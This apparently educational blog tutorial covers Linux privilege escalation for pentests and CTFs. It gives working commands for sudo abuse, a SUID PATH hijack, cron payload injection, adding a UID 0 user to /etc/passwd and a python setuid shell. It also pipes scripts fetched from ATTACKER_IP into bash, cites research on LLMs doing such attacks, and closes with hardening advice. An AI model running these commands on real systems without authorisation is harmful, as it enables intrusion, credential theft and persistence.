www-data or some low-privileged account is active. There is one step between you and root, but this step could take anywhere from five minutes to five hours. It depends on your ability to read the system. I will go through Linux privilege escalation as I do in real-world pentests and CTFs: from the first command after gaining foothold to full root access, with specific commands, output analysis, and explanations for why each misconfiguration is dangerous.What is Linux privilege escalation and why does it matter for penetration testers?
Linux privilege escalation is the process of gaining higher privileges within the system than those of the current user. In MITRE ATT&CK terminology, it is a full tactic, "Privilege Escalation," with dozens of techniques, from “Exploitation of Vulnerability in Sudo Configuration” (T1548) to “Sudo and Sudo Caching” (T1548.003).
In practice, privilege escalation is an essential step in any pentest. After obtaining initial access, the attacker sees the system from the perspective of an unprivileged user. To steal hashes from /etc/shadow, plant a backdoor, or continue laterally through the network, root access is required. Without privilege escalation, the pentest ends halfway, and the report will be weak.
Privilege escalation types:
Vertical: From a regular user to root (or another privileged account).
Horizontal: Switching to another user with the same privilege level but access to different data.
Here, the focus is on vertical escalation – from low-privileged to root.
Manual reconnaissance: first commands after foothold
Before running automation tools, I always conduct basic manual reconnaissance. Two minutes of work, but it makes LinPEAS output much more readable and meaningful, rather than just a wall of text. The commands below cover several MITRE ATT&CK Discovery techniques: whoami/id – System Owner/User Discovery (T1033), hostname/uname -a/cat /etc/os-release – System Information Discovery (T1082).
Who am I and where am I?
whoami # Current user
id # UID, GID, and groups - pay attention to docker, lxd, disk
hostname # Hostname - often indicates the role of the server
uname -a # Kernel and architecture - critical for kernel exploits
cat /etc/os-release # Distribution and version
The output of id can immediately suggest a vector. If the user belongs to the docker, lxd, or disk groups – consider it half done. This is almost a guaranteed path to root without needing to exploit anything.
Checking sudo permissions
sudo -l # Which commands can be executed via sudo
sudo -V # Version of sudo - older versions may be vulnerable
The first command I run on any machine is sudo -l. If the output shows NOPASSWD and any binary from GTFOBins, you can go grab a coffee – root is already yours.
Finding SUID binaries
find / -perm -4000 -type f -ls 2>/dev/null
This command searches for all files with the SUID bit set. Any such file runs with the permissions of the file’s owner, not the current user. If the owner is root and the binary allows the execution of arbitrary commands, it’s a direct path to privilege escalation (T1548.001, Privilege Escalation / Defense Evasion).
Cron jobs and timers
cat /etc/crontab # System cron jobs
ls -la /etc/cron.d/ # Additional cron configurations
ls -la /etc/cron.daily/ /etc/cron.hourly/ # Periodic tasks
systemctl list-timers --all 2>/dev/null # systemd timersNetwork and services
ip a # Network interfaces – look for dual-homed
ss -tlnp # Listening ports – internal services
cat /etc/hosts # Hosts file entries – can point to other machines
History and passwords
history # Commands from previous sessions
cat ~/.bash_history 2>/dev/null # Bash history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -20
grep -ri "password" /etc/ 2>/dev/null | head -20
File and Directory Discovery (T1083), access to /etc/passwd and /etc/shadow (T1003.008, Credential Access), and searching for passwords in configuration files (T1552.001, Credential Access) – this is classic post-exploitation. It’s surprising how often passwords are left in plain text in configuration files.
LinPEAS: Automating reconnaissance for privilege escalation
LinPEAS (Linux Privilege Escalation Awesome Script) automates everything I’ve described above and adds hundreds of additional checks. I run it on every machine after manual reconnaissance because your eyes miss things: capabilities on binaries, writable PATH directories, token leaks in environment variables. LinPEAS finds these.
How to run LinPEAS
You are already on the target machine. Delivery methods depend on the situation:
Option 1 - via the attacker’s HTTP server:
# On the attacking machine (Kali/Parrot):
python3 -m http.server 8080
# On the target machine:
curl http://ATTACKER_IP:8080/linpeas.sh | bash
Option 2 - Download and run locally:
# On the target machine:
wget http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Option 3 - Run without saving the script to disk (partial stealth):
curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/linpeas_output.txt
The third option is useful because the script isn’t saved as a file, but the output is captured for analysis. Just don’t get too optimistic – this isn’t full stealth: the process is visible in /proc, and auditd will log it.
How to read LinPEAS output
LinPEAS uses color coding. Here's what really matters:
| Color | Meaning | Action |
|---|---|---|
| Red/Yellow | Likely a privilege escalation vector (95% probability) | Exploit it – almost certainly a working vector |
| Red | Needs further investigation – may require additional conditions | Dig deeper before exploiting |
| Green | Interesting information for further analysis | Remember for later |
| Blue | Standard system information | Use for context |
Personally, I first scroll through all the output, picking out the red and yellow lines. These often indicate:
SUID binaries found in GTFOBins
Cron jobs running scripts with write permissions for everyone
Sudo rules with
NOPASSWDfor dangerous commandsWritable files in the PATH
Capabilities like
cap_setuidon binariesPasswords in configuration files
LinEnum: An alternative for Linux privilege escalation
LinEnum is another script for listing system information. It is less detailed than LinPEAS, but it works faster and provides clean, easily readable output. I use LinEnum when I need speed or when LinPEAS won’t run for some reason (which happens on restricted containers).
Running LinEnum
# Delivery is similar to LinPEAS:
wget http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t # The -t flag enables extended checks
LinEnum collects information about users, file permissions, processes, packages, network configurations, cron jobs, logs, and software versions. The output is structured by sections, which makes it convenient for a quick run.
Comparison of automation tools
| Tool | Purpose | Color Coding | Speed | Depth |
|---|---|---|---|---|
| LinPEAS | Full privilege escalation audit | Yes | Medium | Maximum |
| LinEnum | System information enumeration | No | High | Medium |
| pspy | Process monitoring without root | No | Real-time | Narrow (processes) |
| Linux Exploit Suggester | Kernel exploit search | No | High | Narrow (kernel) |
| Linux Smart Enumeration | Enumeration with varying levels of detail | Partially | Medium | Customizable |
pspy deserves special mention. It’s a tool for monitoring processes in real time without needing root privileges. It’s invaluable when a cron job runs on schedule but isn’t visible in /etc/crontab (e.g., user crontabs for other accounts). You start pspy, wait a few minutes, and you’ll see which processes are starting as root.
# Running pspy:
./pspy64 # for 64-bit systems
# or
./pspy32 # for 32-bit
Linux privilege escalation techniques: step-by-step examples
Theory is good, but without practice, it's just words. For each technique, there’s a scenario, commands, and an explanation of why it works.
Sudo misconfiguration: Abusing sudo privileges
The Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) technique is one of the most common vectors in CTFs and one of the most prevalent in real environments.
Step 1 - Check sudo permissions:
sudo -l
Example output:
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/find
Step 2 - Check GTFOBins:
Go to GTFOBins and search for find. In the "Sudo" section:
sudo find . -exec /bin/bash \; -quit
Step 3 - Get root:
sudo find . -exec /bin/bash \; -quit
whoami
# root
Why does this work? The admin wanted to allow the user to search files, but find with the -exec flag executes any command. NOPASSWD means it won’t even ask for a password. Just one line in the sudoers file and the system is compromised.
Other dangerous binaries in sudo: vim, nano, less, awk, perl, python, ruby, env, man. If you see any of these in the sudo -l output, immediately check GTFOBins.
SUID bit in Linux: Exploiting binaries with setuid
The SUID bit (Set User ID upon execution) is a special permission that makes a file execute with the privileges of its owner. The technique Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion) is an effective method of privilege escalation.
Step 1 - Find SUID binaries:
find / -perm -4000 -type f -ls 2>/dev/null
Example output (truncated):
131085 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /usr/bin/mount
131090 44 -rwsr-xr-x 1 root root 44784 Jan 27 2020 /usr/bin/newgrp
131143 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
262285 20 -rwsr-xr-x 1 root root 16712 Sep 1 2020 /opt/custom-backup
Standard SUID binaries (mount, passwd, ping) are normal here. We are interested in non-standard ones: /opt/custom-backup – now that’s suspicious.
Step 2 - Analyze the non-standard binary:
file /opt/custom-backup
strings /opt/custom-backup | head -30
ltrace /opt/custom-backup 2>&1 | head -20 # If ltrace is available
If strings shows a call to an external command without a full path (just cp instead of /usr/bin/cp), it’s a potential vector for PATH manipulation. This works when the SUID binary calls a command via system() or popen() (which use shell and the PATH variable). If the binary uses execve() with an absolute path, this trick won’t work. You can verify this via ltrace or strace (if available).
Step 3 - Exploit via PATH:
# Create a malicious "cp" in /tmp:
echo '#!/bin/bash' > /tmp/cp
echo '/bin/bash -p' >> /tmp/cp
chmod +x /tmp/cp
# Modify PATH:
export PATH=/tmp:$PATH
# Run the SUID binary:
/opt/custom-backup
whoami
# root
The -p flag for bash is critical. Without it, bash would drop privileges. With -p, it preserves the effective UID set by SUID. For those unfamiliar: without this flag, bash would decide that you’re “not a real root” and would revert the privileges back.
Note: On modern distributions (Debian 12+, Ubuntu 22.04+), glibc secure execution mode (__libc_enable_secure) may reset environment variables (including PATH) for SUID processes, and system() might use /bin/sh → dash, which behaves differently. Check which shell system() uses and ensure the PATH isn’t being reset in the specific environment.
Cron Jobs Privilege Escalation: Exploiting scheduled tasks
Cron jobs are a favorite vector for pentesters. Admins often create backup scripts running as root but misconfigure the permissions on the scripts themselves. A classic case.
Step 1 - Find cron jobs:
cat /etc/crontab
ls -la /etc/cron.d/
Example output from /etc/crontab:
* * * * * root /opt/scripts/backup.sh
Step 2 - Check the script’s permissions:
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh
Permissions 777 mean it’s writable by everyone. The script runs every minute as root. No need to think much here.
Step 3 - Inject payload:
echo '#!/bin/bash' > /opt/scripts/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
Step 4 - Wait a minute and get root:
# After a minute:
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root
If the cron job isn’t visible in /etc/crontab, run pspy and monitor processes in real-time. User-specific crontabs are hidden from other accounts, but pspy will show their execution—it monitors /proc directly.
Kernel Exploit: Exploiting kernel vulnerabilities
The Exploitation for Privilege Escalation (T1068, Privilege Escalation) technique is the last resort when other vectors fail. Kernel exploits are unstable and can crash the system, so in a real pentest, they should be used cautiously (and with written client consent).
A classic example: CVE-2016-5195 (Dirty Cow). According to NVD: A race condition in mm/gup.c in Linux kernels 2.x–4.x up to 4.8.3 allows local users to escalate privileges via improper handling of copy-on-write (COW) when writing to read-only memory mappings. CVSS: 7.0 (HIGH), vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE: CWE-362 (Race Condition).
CVSS Vector Breakdown (so it doesn’t look like magic letters):
AV:L - Local attack, access to the system required
AC:H - High complexity (race condition – must catch the moment)
PR:L - Low privileges required
UI:N - User interaction not needed
Steps to search for kernel exploits:
# 1. Find the kernel version:
uname -r
# Example: 3.13.0-24-generic
# 2. Run Linux Exploit Suggester:
./linux-exploit-suggester.sh
# 3. Or search manually:
searchsploit linux kernel 3.13 privilege escalation
Linux Exploit Suggester evaluates the likelihood of success: Highly Probable, Probable, and Less Probable. Focus on the first category – the others are often more disappointing than not.
Writable /etc/passwd: Adding a root user
If the /etc/passwd file is writable (common in CTF machines and occasionally in real environments with sloppy hands), you can simply add a new user with UID 0.
# Check permissions:
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd
# Generate a password hash (SHA-512, OpenSSL 1.1.1+; if -6 is unavailable, use -1 for MD5):
openssl passwd -6 -salt xyz password123
# $6$xyz$rD...hash...
# Add a user with UID 0:
echo 'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash' >> /etc/passwd
# Switch user:
su hacker
# Enter password123
whoami
# root
This is a direct example of the Create Account: Local Account (T1136.001, Persistence) technique—adding a new user with UID 0 in the credentials file.
Here’s the next part:
Step-by-step chain: From shell to root
I’ll summarize everything into a single algorithm. This is how I work on a real machine:
Step 1 - Basic reconnaissance by hand:
whoami && id
uname -a
sudo -l
cat /etc/crontab
find / -perm -4000 -type f -ls 2>/dev/null
If sudo -l provides a vector, exploit it immediately via GTFOBins. If you find a non-standard SUID binary, analyze it. If there’s a writable cron job, modify it. At this stage, 60% of CTF machines are already solved.
Step 2 - Run LinPEAS:
curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/lp.txt
Look for red-yellow markers. Check everything that LinPEAS marked as a high-probability vector. Pay attention to capabilities (getcap -r / 2>/dev/null), writable directories in PATH, and config files containing passwords.
Step 3 - Monitoring and deep analysis:
# If nothing was found - run pspy:
./pspy64
# At the same time, search for passwords:
grep -ri "pass\|pwd\|credential" /var/www/ /opt/ /home/ 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.conf" 2>/dev/null | xargs grep -li "password" 2>/dev/null
Only if the previous steps don’t yield results, proceed to kernel exploits. Check the kernel version using Linux Exploit Suggester and search for a suitable exploit. This should be the last resort, not the first.
How automation compares to manual analysis
According to the study by Happe and Cito (2023), "LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks" (arxiv.org), GPT-4-Turbo successfully exploited between 33% to 83% of vulnerabilities in benchmark privilege escalation tests—comparable to results from professional penetration testers (75%). However, even advanced models stumbled at multi-step exploitation: for instance, they couldn’t link a found SUID binary to the need to check it in GTFOBins.
What does this mean in practice? LinPEAS and LinEnum don’t replace a thinking pentester. The script shows data, but connecting findings into a working chain is your job. LinPEAS may flag /usr/bin/python3 with the capability cap_setuid in red, but converting this finding into a root shell is up to you:
# Example: Python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Protection and Linux hardening: What to close off
Understanding attacks leads to understanding defenses. Here are some specific recommendations:
| Attack Vector | Protection Measure |
|---|---|
| Sudo misconfiguration | Never give sudo to shell interpreters, editors, find, awk. Only specific commands with full path. |
| SUID on non-standard binaries | Regularly audit: find / -perm -4000 -type f -ls. Remove the SUID bit from unnecessary files: chmod u-s /path/to/binary. |
| Writable cron scripts | Owner should be root, permissions 700 or 755. Never 777. |
| Outdated kernel | Keep the kernel updated. Use livepatch for critical systems that cannot be rebooted. |
| Passwords in config files | Use Vault systems (HashiCorp Vault, ansible-vault). File permissions: 600, owner should be service account. |
Writable /etc/passwd | Permissions: /etc/passwd - 644, /etc/shadow - 640. Monitor changes via auditd. |